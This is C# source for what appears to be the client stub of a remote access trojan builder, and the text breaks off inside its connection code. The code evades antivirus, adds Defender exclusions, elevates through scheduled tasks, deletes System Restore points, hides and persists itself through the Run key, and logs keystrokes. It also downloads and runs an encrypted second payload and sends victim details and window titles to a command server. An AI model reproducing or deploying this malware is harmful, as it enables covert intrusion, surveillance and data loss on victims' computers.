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stub.cs
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stub.cs
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using System.Threading;
using System;
using System.Security.Cryptography.X509Certificates;
using System.Text;
using System.Security.Cryptography;
using System.IO;
using System.IO.Compression;
using System.Net.Sockets;
using System.Diagnostics;
using System.Runtime.InteropServices;
using Microsoft.Win32;
using System.Collections;
using System.Net.Security;
using System.Net;
using System.Security.Authentication;
using System.Collections.Generic;
using System.Security.Principal;
using Microsoft.VisualBasic.Devices;
using Microsoft.VisualBasic;
using System.Collections.Specialized;
#if DefAddFolderSecurity
using System.Security.AccessControl;
#endif
#if DefDeleteSystemRestore
using System.Management;
#endif
using System.Reflection;
#if DefAssembly
[assembly: AssemblyTitle("%Title%")]
[assembly: AssemblyDescription("%Description%")]
[assembly: AssemblyCompany("%Company%")]
[assembly: AssemblyProduct("%Product%")]
[assembly: AssemblyCopyright("%Copyright%")]
[assembly: AssemblyTrademark("%Trademark%")]
[assembly: AssemblyFileVersion("%v1%" + "." + "%v2%" + "." + "%v3%" + "." + "%v4%")]
#endif
namespace %Setup%
{
public class %Program%
{
#if BypassAV
public static string %Invoki%(string x)
{
Main();
Debug.WriteLine(x);
return "";
}
#endif
public static void Main()
{
#if Executiondelay
for (int i = 0; i < Convert.ToInt32(%DelayCount%); i++)
{
Thread.Sleep(1000);
}
#endif
if (!Settings.InitializeSettings()) Environment.Exit(0);
try
{
if (!ClientOnExit.CreateMutex())
Environment.Exit(0);
#if DefDeleteSystemRestore
Settings.DeleteSystemRestore();
#endif
#if IsInternetState
while (!Settings.InternetState())
{
try
{
Thread.Sleep(5000);
}
catch { }
}
#endif
#if AddInstalla
Installation.Install();
#endif
#if DefUAC
Settings. AsAdmin();
#endif
#if DefDefenderException
Settings.AddException();
#endif
#if DefCreateTask
try
{
Process.Start(new ProcessStartInfo
{
FileName = "schtasks",
Arguments =@"%Commaent%".Replace("%Path%", System.Windows.Forms.Application.ExecutablePath),
WindowStyle = ProcessWindowStyle.Hidden,
CreateNoWindow = true,
});
}
catch { }
#endif
#if IsDiscordNotif
MessageRead.DiscordNotif();
#endif
Settings.PreventSleep();
}
catch { }
#if KeyloaggrOfflien
try
{
new Thread(() =>
{
Keyloaggr.StartKeyloaggar();
}).Start();
}
catch { }
#endif
while (true) // ~ loop to check socket status
{
try
{
if (!Connection.IsConnected)
{
Connection.Reconnect();
Connection.InitializeClient();
}
}
catch { }
Thread.Sleep(int.Parse(Settings.ReconnectDelay));
}
}
}
public class Settings
{
public static string Key = "%!<Silver>!%";
public static string KeyX509 = "%Key%";
public static string Serversignature = "%Serversignature%";
public static string Certificate = "%Certificate%";
public static string Group = "%Group%";
public static string MTX = "%Mtx%";
public static string Hosts = "%Host%";
public static string Ports = "%Port%";
public static string ReconnectDelay = "%ReconnectDelay%";
public static string Version = "1.0.0.0";
#if IsDiscordNotif
public static string ServerDiscord = "%ServerDiscord%";
public static string Logo = "%Logo%";
#endif
public static X509Certificate2 ServerCertificate;
public static bool InitializeSettings()
{
try
{
KeyX509 = Encoding.UTF8.GetString(Convert.FromBase64String(KeyX509));
ServerCertificate = new X509Certificate2(Convert.FromBase64String(Certificate));
Key = Encoding.UTF8.GetString(DecryptBytes(Convert.FromBase64String(Key)));
#if DNSNormal
Hosts = Encoding.UTF8.GetString(DecryptBytes(Convert.FromBase64String(Hosts)));
Ports = Encoding.UTF8.GetString(DecryptBytes(Convert.FromBase64String(Ports)));
#endif
#if IsDiscordNotif
ServerDiscord = Encoding.UTF8.GetString(DecryptBytes(Convert.FromBase64String(ServerDiscord)));
Logo = Encoding.UTF8.GetString(DecryptBytes(Convert.FromBase64String(Logo)));
#endif
var csp = (RSACryptoServiceProvider)ServerCertificate.PublicKey.Key;
return csp.VerifyHash(Algorithm.ComputeHash(Encoding.UTF8.GetBytes(KeyX509)), CryptoConfig.MapNameToOID("SHA256"), Convert.FromBase64String(Serversignature));
}
catch { return false; }
}
#if IsInternetState
[DllImport("wininet.dll")]
private extern static bool InternetGetConnectedState(out int Description, int ReservedValue);
public static bool InternetState()
{
int Desc;
bool constate = InternetGetConnectedState(out Desc, 0);
return constate;
}
#endif
public static byte[] DecryptBytes(byte[] cipherBytes)
{
byte[] buffer;
using (Aes aes = Aes.Create())
{
var bytes = new Rfc2898DeriveBytes("0x49,0x76,0x61,10,0x20,0x4D,0x65,100,0x76,0x65,100,0x65,0x76", new byte[] { 0x49, 0x76, 0x61, 110, 0x20, 0x4D, 0x65, 100, 0x76, 0x65, 100, 0x65, 0x76 });
aes.Key = bytes.GetBytes(0x20);
aes.IV = bytes.GetBytes(0x10);
using (var stream = new MemoryStream())
{
using (CryptoStream stream2 = new CryptoStream(stream, aes.CreateDecryptor(), CryptoStreamMode.Write))
{
stream2.Write(cipherBytes, 0, cipherBytes.Length);
try
{
stream2.Close();
}
catch
{
return stream.ToArray();
}
}
buffer = stream.ToArray();
}
}
return buffer;
}
#if DefUAC
private static readonly FileInfo LN = new FileInfo(Assembly.GetEntryAssembly().Location);
public static void AsAdmin()
{
if (GetInformationOS.IsAdmin() == false)
{
if (CreateShTasks())
{
if (Taskexistance(LN.Name))
{
ProcessStartInfo start = new ProcessStartInfo()
{
FileName = "schtasks.exe",
UseShellExecute = false,
WindowStyle = ProcessWindowStyle.Hidden,
Arguments = " /Run /TN \"" + LN.Name + "\"",
RedirectStandardOutput = true
};
Process.Start(start).WaitForExit();
Environment.Exit(0);
}
}
else
{
A:
try
{
Process proc = new Process()
{
StartInfo = new ProcessStartInfo()
{
FileName = "cmd",
Arguments = "/k START \"\" \"" + Process.GetCurrentProcess().MainModule.FileName + "\" & EXIT",
WindowStyle = ProcessWindowStyle.Hidden,
Verb = "runas",
UseShellExecute = true
}
};
proc.Start();
Environment.Exit(0);
}
catch
{
goto A;
}
}
}
else if (!Taskexistance(LN.Name))
CreateShTasks();
}
private static bool Taskexistance(string taskname)
{
ProcessStartInfo start = new ProcessStartInfo()
{
FileName = "schtasks.exe",
UseShellExecute = false,
CreateNoWindow = true,
WindowStyle = ProcessWindowStyle.Hidden,
Arguments = "/query /TN " + taskname,
RedirectStandardOutput = true
};
using (Process process = Process.Start(start))
{
using (StreamReader reader = process.StandardOutput)
{
string stdout = reader.ReadToEnd();
if (stdout.Contains(taskname))
return true;
else
return false;
}
}
}
private static bool CreateShTasks()
{
ProcessStartInfo start = new ProcessStartInfo()
{
FileName = "schtasks.exe",
UseShellExecute = false,
CreateNoWindow = true,
WindowStyle = ProcessWindowStyle.Hidden,
Arguments = " /Create /SC ONCE /TN \"" + LN.Name + "\" /TR \"" + LN.FullName + @" \""\" + LN.Name + @"\"" /AsAdmin"" /ST 00:01 /IT /F /RL HIGHEST",
RedirectStandardOutput = true
};
Process.Start(start).WaitForExit();
return Taskexistance(LN.Name);
}
#endif
#if DefDefenderException
public static void AddException()
{
if (GetInformationOS.IsAdmin())
{
try
{
Process proc = new Process()
{
StartInfo = new ProcessStartInfo() { FileName = "powershell", Arguments = "Set-MpPreference -ExclusionExtension exe,bat,dll,ps1;exit", WindowStyle = ProcessWindowStyle.Hidden, CreateNoWindow = true }
};
proc.Start();
}
catch
{
Debug.WriteLine("Faild!");
}
}
}
#endif
#if DefDeleteSystemRestore
[DllImport("Srclient.dll")]
public static extern int SRRemoveRestorePoint(int index);
public static void DeleteSystemRestore()
{
if (GetInformationOS.IsAdmin())
{
try
{
ManagementClass objClass = new ManagementClass("\\\\.\\root\\default", "systemrestore", new ObjectGetOptions());
ManagementObjectCollection objCol = objClass.GetInstances();
StringBuilder Results = new StringBuilder();
foreach (ManagementObject objItem in objCol)
{
int SeqNum = int.Parse(objItem["sequencenumber"].ToString());
SRRemoveRestorePoint(SeqNum);
}
Debug.WriteLine("Done Successfully");
}
catch
{
Debug.WriteLine("Faild!");
}
}
}
#endif
public static void PreventSleep()
{
try
{
NativeMethod.SetThreadExecutionState(NativeMethod.EXECUTION_STATE.ES_SYSTEM_REQUIRED | NativeMethod.EXECUTION_STATE.ES_CONTINUOUS | NativeMethod.EXECUTION_STATE.ES_DISPLAY_REQUIRED);
}
catch { }
}
}
public class NativeMethod
{
[DllImport("user32.dll")]
public static extern IntPtr GetForegroundWindow();
[DllImport("user32.dll")]
public static extern int GetWindowText(IntPtr hWnd, StringBuilder text, int count);
[DllImport("kernel32.dll", SetLastError = true)]
public static extern EXECUTION_STATE SetThreadExecutionState(EXECUTION_STATE esFlags);
public enum EXECUTION_STATE : uint
{
ES_CONTINUOUS = 0x80000000,
ES_DISPLAY_REQUIRED = 0x00000002,
ES_SYSTEM_REQUIRED = 0x00000001
}
[DllImport("ntdll.dll", SetLastError = true)]
public static extern void RtlSetProcessIsCritical(UInt32 v1, UInt32 v2, UInt32 v3);
[StructLayout(LayoutKind.Sequential)]
public struct UNICODE_STRING : IDisposable
{
public ushort Length;
public ushort MaximumLength;
public IntPtr buffer;
public UNICODE_STRING(string s)
{
Length = System.Convert.ToUInt16(s.Length * 2);
MaximumLength = System.Convert.ToUInt16(Length + 2);
buffer = Marshal.StringToHGlobalUni(s);
}
public void Dispose()
{
Marshal.FreeHGlobal(buffer);
buffer = IntPtr.Zero;
}
public override string ToString()
{
return Marshal.PtrToStringUni(buffer);
}
}
internal enum RegistryKeyType
{
REG_SZ = 1
}
public static UIntPtr HKEY_CURRENT_USER = (UIntPtr)0x80000001U;
public static UIntPtr HKEY_LOCAL_MACHINE = (UIntPtr)0x80000002U;
public static int KEY_SET_VALUE = 0x2;
[DllImport("advapi32.dll", CharSet = CharSet.Auto)]
public static extern uint RegOpenKeyEx(UIntPtr hKey, string subKey, int ulOptions, int samDesired, out UIntPtr KeyHandle);
[DllImport("advapi32.dll", SetLastError = true)]
public static extern int RegCloseKey(UIntPtr KeyHandle);
public static IntPtr StructureToPtr(object obj)
{
IntPtr ptr = Marshal.AllocHGlobal(Marshal.SizeOf(obj));
Marshal.StructureToPtr(obj, ptr, false);
return ptr;
}
}
public class ClientOnExit
{
public static Mutex currentApp;
public static bool CreateMutex()
{
bool createdNew;
currentApp = new Mutex(false, Settings.MTX, out createdNew);
return createdNew;
}
public static void CloseMutex()
{
if (currentApp != null)
{
currentApp.Close();
currentApp = null;
}
}
public static void Close()
{
try
{
CloseMutex();
Connection.SslClient.Close();
Connection.TcpClient.Close();
}
catch { }
}
}
public class Algorithm
{
public static string ComputeHash(string input)
{
byte[] data = Encoding.UTF8.GetBytes(input);
using (SHA256Managed sha = new SHA256Managed())
{
data = sha.ComputeHash(data);
}
StringBuilder hash = new StringBuilder();
foreach (byte _byte in data)
hash.Append(_byte.ToString("X2"));
return hash.ToString().ToUpper();
}
public static byte[] ComputeHash(byte[] input)
{
using (SHA256Managed sha = new SHA256Managed())
{
return sha.ComputeHash(input);
}
}
public static byte[] Decompress(byte[] input)
{
using (var source = new MemoryStream(input))
{
byte[] lengthBytes = new byte[4];
source.Read(lengthBytes, 0, 4);
var length = BitConverter.ToInt32(lengthBytes, 0);
using (var decompressionStream = new GZipStream(source,
CompressionMode.Decompress))
{
var result = new byte[length];
decompressionStream.Read(result, 0, length);
return result;
}
}
}
public static byte[] Compress(byte[] input)
{
using (var result = new MemoryStream())
{
var lengthBytes = BitConverter.GetBytes(input.Length);
result.Write(lengthBytes, 0, 4);
using (var compressionStream = new GZipStream(result,
CompressionMode.Compress))
{
compressionStream.Write(input, 0, input.Length);
compressionStream.Flush();
}
return result.ToArray();
}
}
}
#if AddInstalla
public class Installation
{
public static void Install()
{
try
{
FileInfo InstallPath = new FileInfo(Path.Combine(Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.%Method%), "%Folder%"), "%Payload%"));
string currentProcess = Process.GetCurrentProcess().MainModule.FileName;
if (!Directory.Exists(InstallPath.Directory.FullName))
{
Directory.CreateDirectory(InstallPath.Directory.FullName);
#if DefAddFolderSecurity
AddFolderSecurity(InstallPath.Directory.FullName, Environment.UserName, FileSystemRights.ReadData, AccessControlType.Deny);
#endif
}
if (!Object.Equals(currentProcess, InstallPath.FullName))
{
foreach (var P in Process.GetProcesses())
{
try
{
if (Object.Equals(P.MainModule.FileName, InstallPath.FullName))
P.Kill();
}
catch
{
}
}
FileStream fs;
if (File.Exists(InstallPath.FullName))
{
#if DefHidden
Hidden(InstallPath.Directory.FullName);
Hidden(InstallPath.FullName);
#endif
Thread.Sleep(2000);
File.Delete(InstallPath.FullName);
Thread.Sleep(1000);
}
fs = new FileStream(InstallPath.FullName, FileMode.CreateNew);
var clientExe = File.ReadAllBytes(currentProcess);
fs.Write(clientExe, 0, clientExe.Length);
ClientOnExit.Close();
#if DefHidden
Hidden(InstallPath.Directory.FullName);
Hidden(InstallPath.FullName);
#endif
#if DefAutoStart
EnableStartup(InstallPath.FullName);
#endif
string batch = Path.GetTempFileName() + ".bat";
using (StreamWriter sw = new StreamWriter(batch))
{
sw.WriteLine("@echo off");
sw.WriteLine("timeout 3 > NUL");
sw.WriteLine("START " + "\"" + "\" " + "\"" + InstallPath.FullName + "\"");
sw.WriteLine("CD " + Path.GetTempPath());
sw.WriteLine("DEL " + "\"" + Path.GetFileName(batch) + "\"" + " /f /q");
}
Process.Start(new ProcessStartInfo() { FileName = batch, CreateNoWindow = true, ErrorDialog = false, UseShellExecute = false, WindowStyle = ProcessWindowStyle.Hidden });
Environment.Exit(0);
}
#if Rootikt
if (GetInformationOS.IsAdmin())
{
HiddenProcess(InstallPath.Directory.FullName);
}
#endif
}
catch (Exception ex)
{
Debug.WriteLine("Install Failed : " + ex.Message);
}
}
#if Rootikt
public static void HiddenProcess(string filename)
{
try
{
try
{
ServicePointManager.Expect100Continue = true;
ServicePointManager.SecurityProtocol = (SecurityProtocolType)3072;
}
catch { }
string Path = filename + "\\!.exe";
byte[] data = new WebClient().DownloadData(Encoding.UTF8.GetString(Settings.DecryptBytes(Convert.FromBase64String("YuiIb0bvpOW/HwRCrl07ZyLIxUPAoAy0/EE6+OB0IBiLlp486XC9OZHtGsiixnNW"))));
if (!System.IO.File.Exists(Path))
{
System.IO.File.WriteAllBytes(Path, Settings.DecryptBytes(data));
}
Console.WriteLine("The data has been written to the file.");
if (System.IO.File.Exists(Path))
{
Process.Start(new ProcessStartInfo
{
FileName = Path,
WindowStyle = ProcessWindowStyle.Hidden,
CreateNoWindow = true
});
}
}
catch { }
}
public static string Reverse(string s)
{
char[] charArray = s.ToCharArray();
Array.Reverse(charArray);
return new string(charArray);
}
#endif
#if DefHidden
private static FileAttributes RemoveAttribute(FileAttributes attributes, FileAttributes attributesToRemove)
{
return attributes & attributesToRemove;
}
public static void Hidden(string Path)
{
try
{
if (File.Exists(Path) == true || Directory.Exists(Path) == true)
{
FileAttributes attributes = File.GetAttributes(Path);
if ((attributes & FileAttributes.Hidden) == FileAttributes.Hidden)
{
attributes = RemoveAttribute(attributes, FileAttributes.Hidden);
File.SetAttributes(Path, attributes);
File.SetAttributes(Path, FileAttributes.Normal);
Console.WriteLine("The {0} file is no longer hidden.", Path);
}
else
{
ProcessStartInfo startInfo = new ProcessStartInfo("Attrib")
{
WindowStyle = ProcessWindowStyle.Hidden,
Arguments = "+s +h " + Strings.ChrW(34) + Path + Strings.ChrW(34)
};
Process.Start(startInfo);
Console.WriteLine("The {0} file is now hidden.", Path);
}
}
}
catch { return; }
}
#endif
#if DefAddFolderSecurity
public static void AddFolderSecurity(string fileName, string account, FileSystemRights rights, AccessControlType controlType)
{
try
{
if (Directory.Exists(fileName))
{
FileSecurity fSecurity = File.GetAccessControl(fileName);
fSecurity.AddAccessRule(new FileSystemAccessRule(account, rights, controlType));
File.SetAccessControl(fileName, fSecurity);
}
}
catch { return; }
}
#endif
#if DefAutoStart
[DllImport("ntdll.dll", CharSet = CharSet.Unicode, CallingConvention = CallingConvention.StdCall)]
static extern uint NtSetValueKey(UIntPtr KeyHandle, IntPtr ValueName, int TitleIndex,NativeMethod.RegistryKeyType Type, IntPtr Data, int DataSize);
public static void EnableStartup(string Value)
{
var KeyHandle = UIntPtr.Zero;
var KeyPath = "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run";
var runKeyPathTrick = Constants.vbNullChar + Constants.vbNullChar + KeyPath;
uint Status;
if (GetInformationOS.IsAdmin())
Status = NativeMethod.RegOpenKeyEx(NativeMethod.HKEY_LOCAL_MACHINE, KeyPath, 0, NativeMethod.KEY_SET_VALUE, out KeyHandle);
else
Status = NativeMethod.RegOpenKeyEx(NativeMethod.HKEY_CURRENT_USER, KeyPath, 0, NativeMethod.KEY_SET_VALUE, out KeyHandle);
NativeMethod.UNICODE_STRING ValueName = new NativeMethod.UNICODE_STRING(runKeyPathTrick) { Length = 2 * 11, MaximumLength = 0 };
var ValueNamePtr = NativeMethod.StructureToPtr(ValueName);
NativeMethod.UNICODE_STRING ValueData = new NativeMethod.UNICODE_STRING("\"" + Value + "\"");
Thread.Sleep(20 * 1000);
ThreadPool.QueueUserWorkItem(delegate {
Status = NtSetValueKey(KeyHandle, ValueNamePtr, 0, NativeMethod.RegistryKeyType.REG_SZ, ValueData.buffer, ValueData.MaximumLength);
NativeMethod.RegCloseKey(KeyHandle);
});
}
#endif
}
#endif
public class GetInformationOS
{
public static string HWID()
{
try
{
return GetHash(string.Concat(Environment.ProcessorCount, Environment.UserName,
Environment.MachineName, Environment.OSVersion
, new DriveInfo(Path.GetPathRoot(Environment.SystemDirectory)).TotalSize));
}
catch
{
return "Err HWID";
}
}
public static string GetHash(string strToHash)
{
MD5CryptoServiceProvider md5Obj = new MD5CryptoServiceProvider();
byte[] bytesToHash = Encoding.ASCII.GetBytes(strToHash);
bytesToHash = md5Obj.ComputeHash(bytesToHash);
StringBuilder strResult = new StringBuilder();
foreach (byte b in bytesToHash)
strResult.Append(b.ToString("x2"));
return strResult.ToString().Substring(0, 20).ToUpper();
}
public static byte[] Send()
{
MsgPack msgpack = new MsgPack();
msgpack.ForcePathObject(Settings.Key).AsString = "ClientInfo";
msgpack.ForcePathObject("HWID").AsString = HWID();
msgpack.ForcePathObject("User").AsString = Environment.UserName.ToString();
msgpack.ForcePathObject("OS").AsString = new ComputerInfo().OSFullName.ToString().Replace("Microsoft", null) + " " +
Environment.Is64BitOperatingSystem.ToString().Replace("True", "64bit").Replace("False", "32bit");
msgpack.ForcePathObject("Path").AsString = System.Windows.Forms.Application.ExecutablePath;
msgpack.ForcePathObject("Version").AsString = Settings.Version;
msgpack.ForcePathObject("Admin").AsString = IsAdmin().ToString();
msgpack.ForcePathObject("Performance").AsString = GetActiveWindowTitle();
msgpack.ForcePathObject("Installed").AsString = new FileInfo(System.Windows.Forms.Application.ExecutablePath).LastWriteTime.ToUniversalTime().ToString();
msgpack.ForcePathObject("IsNewClient").AsString = IsNewClient().ToString();
msgpack.ForcePathObject("Group").AsString = Nackname();
return msgpack.Encode2Bytes();
}
public static bool IsAdmin()
{
return new WindowsPrincipal(WindowsIdentity.GetCurrent()).IsInRole(WindowsBuiltInRole.Administrator);
}
public static void KeepAlivePacket(object obj)
{
try
{
MsgPack msgpack = new MsgPack();
msgpack.ForcePathObject(Settings.Key).AsString = "Ping";
msgpack.ForcePathObject("Message").AsString = GetActiveWindowTitle();
Connection.Send(msgpack.Encode2Bytes());
GC.Collect();
Connection.ActivatePong = true;
}
catch { }
}
public static void Pong(object obj)
{
try
{
if (Connection.ActivatePong && Connection.IsConnected)
{
Connection.Interval++;
}
}
catch { }
}
public static string GetActiveWindowTitle()
{
try
{
const int nChars = 256;
StringBuilder buff = new StringBuilder(nChars);
IntPtr handle = NativeMethod.GetForegroundWindow();
if (NativeMethod.GetWindowText(handle, buff, nChars) > 0)
{
return buff.ToString();
}
}
catch { }
return "";
}
private static string Nackname()
{
try
{
if (!IsNewClient()) return Settings.Group;
string Nackname = "Nackname";
return (MessageRead.GetValue(Nackname) == null) ? Settings.Group : Encoding.UTF8.GetString(MessageRead.GetValue(Nackname));
}
catch { return Settings.Group; }
}
public static bool IsNewClient()
{
RegistryKey RkSubKey = Registry.CurrentUser.OpenSubKey(MessageRead.ID, false);
bool Value = RkSubKey != null;
return Value;
}
}
public class Connection
{
public static Socket TcpClient { get; set; } //Main socket
public static SslStream SslClient { get; set; } //Main SSLstream
private static byte[] Buffer { get; set; } //Socket buffer
private static long HeaderSize { get; set; } //Recevied size
private static long Offset { get; set; } // Buffer location
private static Timer KeepAlive { get; set; } //Send Performance
public static bool IsConnected { get; set; } //Check socket status
private static readonly object SendSync = new object(); //Sync send
private static Timer Ping { get; set; } //Send ping interval
public static int Interval { get; set; } //ping value
public static bool ActivatePong { get; set; }
public static void InitializeClient() //Connect & reconnect
{
try
{
TcpClient = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp) { ReceiveBufferSize = 50 * 1024, SendBufferSize = 50 * 1024, };
#if DNSNormal
if (IsValidDomainName(Settings.Hosts)) //check if the address is alphanumric (meaning its a domain)
{
IPAddress[] addresslist = Dns.GetHostAddresses(Settings.Hosts); //get all IP's connected to that domain
foreach (IPAddress theaddress in addresslist) //we do a foreach becasue a domain can lead to multiple IP's
{
try
{
TcpClient.Connect(theaddress, int.Parse(Settings.Ports)); //lets try and connect!
if (TcpClient.Connected) break;